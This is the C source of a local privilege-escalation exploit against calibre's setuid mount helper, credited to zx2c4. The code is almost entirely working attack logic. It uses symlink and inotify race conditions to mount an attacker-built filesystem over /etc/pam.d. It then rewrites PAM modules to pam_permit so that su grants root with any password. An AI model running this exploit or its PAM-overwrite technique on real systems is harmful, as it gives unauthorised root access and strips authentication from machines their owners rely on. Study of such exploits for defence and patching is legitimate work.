Calibre E-Book Reader Local Root

/*
 * ########################################################
 * #               .80 Calibrer Assault Mount             #
 * #                         by zx2c4                     #
 * ########################################################
 *
 * Yesterday's assult mount used inotify to mount into /etc/pam.d. Today we
 * expand the attack by adding a race toggler so we can mount from non-block
 * devices.
 *
 * Enjoy.
 *
 * - zx2c4
 * 2011-11-4
 *
 * greets to djrbliss
 *
 */

#include <stdio.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

int main(int argc, char **argv)
{
 printf("########################################################\n");
 printf("#               .80 Calibrer Assault Mount             #\n");
 printf("#                         by zx2c4                     #\n");
  printf("########################################################\n\n");
 
 
 printf("[+] Cleaning up old cruft.\n");
 unlink("/dev/shm/overlay");
 system("calibre-mount-helper cleanup /dev/ram0 /media/staging/");
 
 printf("[+] Creating overlay container.\n");
 system("dd if=/dev/zero of=/dev/shm/overlay count=25600");
 system("/usr/sbin/mkfs.ntfs /dev/shm/overlay");
 
 printf("[+] Mounting staging using race condition toggler...\n");
 int childpid = fork();
 if (childpid) {
  int ret;
  while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /media/staging/ 2>&1")) == 256 || ret == 8192);
  kill(childpid, SIGKILL);
 } else {
  while (1) {
   rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
   symlink("/dev/ram0", "/dev/shm/overlay");
   unlink("/dev/shm/overlay");
   rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
  }
  return 0;
 }
 
 printf("[+] Preparing overlay with /etc/pam.d modification:\n");
 system("cp -v /etc/pam.d/* /media/staging/");
 system("sed -i \"s/pam_deny.so/pam_permit.so/g\" /media/staging/common-auth");
 system("sed -i \"s/pam_cracklib.so.*/pam_permit.so/g\" /media/staging/system-auth");
 system("sed -i \"s/pam_unix.so.*/pam_permit.so/g\" /media/staging/system-auth");
 
  
 printf("[+] Mounting overlay over /etc/pam.d using race condition toggler and inotify...\n");
 childpid = fork();
 if (childpid) {
  int childpid2 = fork();
  if (childpid2) {
   int ret;
   while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /etc/pam.d/ 2>&1")) == 256 || ret == 8192);
   kill(childpid, SIGKILL);
   kill(childpid2, SIGKILL);
  } else {
   while (1) {
    int fd;
    fd = inotify_init();
    unlink("/media/staging/fake");
    mkdir("/media/staging/fake");
    inotify_add_watch(fd, "/media/staging/fake", IN_CREATE);
    read(fd, 0, 0);
    rename("/media/staging/fake", "/media/staging/tmp");
    symlink("/etc/pam.d", "/media/staging/fake");
    rmdir("/media/staging/tmp");
    close(fd);
   }
  }
 } else {
  while (1) {
   rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
   symlink("/dev/ram0", "/dev/shm/overlay");
   unlink("/dev/shm/overlay");
   rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
  }
  return 0;
 }
 
 printf("[+] Asking for root. When prompted for a password, type anything and press enter.\n");
 system("su");
 
 return 0;
}